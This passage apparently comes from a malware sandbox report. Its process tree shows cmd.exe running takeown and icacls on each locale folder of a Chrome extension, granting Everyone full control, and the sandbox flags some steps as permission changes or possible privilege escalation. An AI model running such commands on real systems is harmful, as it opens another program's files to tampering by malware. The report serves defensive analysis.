  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hy && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hy /grant everyone:(f)
  2⤵
  PID:3444
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\hy
    3⤵
    PID:4220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\id && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\id /grant everyone:(f)
  2⤵
  PID:3632
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\id
    3⤵
    PID:3688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\is && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\is /grant everyone:(f)
  2⤵
  PID:5076
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\is
    3⤵
    PID:4376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\it && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\it /grant everyone:(f)
  2⤵
  PID:4068
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\it
    3⤵
    - Modifies file permissions
    PID:3344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\iw && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\iw /grant everyone:(f)
  2⤵
  PID:1356
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\iw
    3⤵
    PID:1056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ja && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ja /grant everyone:(f)
  2⤵
  PID:748
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ja
    3⤵
    PID:3684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ka && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ka /grant everyone:(f)
  2⤵
  PID:1916
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ka
    3⤵
    PID:3844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\kk && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\kk /grant everyone:(f)
  2⤵
  PID:4600
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\kk
    3⤵
    PID:2832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\km && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\km /grant everyone:(f)
  2⤵
  PID:4592
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\km
    3⤵
    - Modifies file permissions
    PID:2172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\kn && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\kn /grant everyone:(f)
  2⤵
  PID:2644
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\kn
    3⤵
    PID:4144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ko && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ko /grant everyone:(f)
  2⤵
  PID:4044
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ko
    3⤵
    PID:4200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\lo && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\lo /grant everyone:(f)
  2⤵
  PID:1772
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\lo
    3⤵
    PID:2544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\lt && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\lt /grant everyone:(f)
  2⤵
  PID:2576
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\lt
    3⤵
    PID:3796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\lv && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\lv /grant everyone:(f)
  2⤵
  PID:2292
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\lv
    3⤵
    PID:3112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ml && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ml /grant everyone:(f)
  2⤵
  PID:2256
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ml
    3⤵
    PID:2632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\mn && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\mn /grant everyone:(f)
  2⤵
  PID:3632
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\mn
    3⤵
    PID:4460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\mr && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\mr /grant everyone:(f)
  2⤵
  PID:3472
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\mr
    3⤵
    PID:4072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ms && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ms /grant everyone:(f)
  2⤵
  PID:3700
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ms
    3⤵
    PID:2532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\my && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\my /grant everyone:(f)
  2⤵
  PID:456
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\my
    3⤵
    PID:1316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ne && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ne /grant everyone:(f)
  2⤵
  PID:1372
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ne
    3⤵
    PID:4436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\nl && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\nl /grant everyone:(f)
  2⤵
  PID:408
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\nl
    3⤵
    PID:960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\no && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\no /grant everyone:(f)
  2⤵
  PID:1664
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\no
    3⤵
    PID:532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pa && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pa /grant everyone:(f)
  2⤵
  PID:2644
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pa
    3⤵
    PID:2376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pl && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pl /grant everyone:(f)
  2⤵
  PID:1152
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pl
    3⤵
    PID:1172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pt_BR && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pt_BR /grant everyone:(f)
  2⤵
  PID:1772
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pt_BR
    3⤵
    PID:4912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pt_PT && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pt_PT /grant everyone:(f)
  2⤵
  PID:2148
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\pt_PT
    3⤵
    PID:4356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ro && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ro /grant everyone:(f)
  2⤵
  PID:4416
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ro
    3⤵
    PID:1516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ru && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ru /grant everyone:(f)
  2⤵
  PID:3736
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ru
    3⤵
    - Modifies file permissions
    PID:2028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\si && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\si /grant everyone:(f)
  2⤵
  PID:3192
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\si
    3⤵
    PID:4788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sk && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sk /grant everyone:(f)
  2⤵
  PID:4732
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sk
    3⤵
    PID:4852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sl && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sl /grant everyone:(f)
  2⤵
  PID:2216
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sl
    3⤵
    PID:644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sr && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sr /grant everyone:(f)
  2⤵
  PID:4940
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sr
    3⤵
    PID:1372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sv && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sv /grant everyone:(f)
  2⤵
  PID:3152
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sv
    3⤵
    PID:3088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sw && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sw /grant everyone:(f)
  2⤵
  PID:4340
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\sw
    3⤵
    PID:2172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ta && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ta /grant everyone:(f)
  2⤵
  PID:4884
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ta
    3⤵
    PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\te && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\te /grant everyone:(f)
  2⤵
  PID:4044
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\te
    3⤵
    PID:1152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\th && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\th /grant everyone:(f)
  2⤵
  PID:740
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\th
    3⤵
    PID:220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\tr && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\tr /grant everyone:(f)
  2⤵
  PID:3796
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\tr
    3⤵
    PID:3444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\uk && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\uk /grant everyone:(f)
  2⤵
  PID:3468
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\uk
    3⤵
    PID:4416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ur && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ur /grant everyone:(f)
  2⤵
  PID:2624
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\ur
    3⤵
    PID:5076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\vi && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\vi /grant everyone:(f)
  2⤵
  PID:3580
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\vi
    3⤵
    PID:4724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zh_CN && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zh_CN /grant everyone:(f)
  2⤵
  PID:4068
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zh_CN
    3⤵
    PID:3636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zh_HK && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zh_HK /grant everyone:(f)
  2⤵
  PID:3620
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zh_HK
    3⤵
    - Possible privilege escalation attempt
    PID:3256
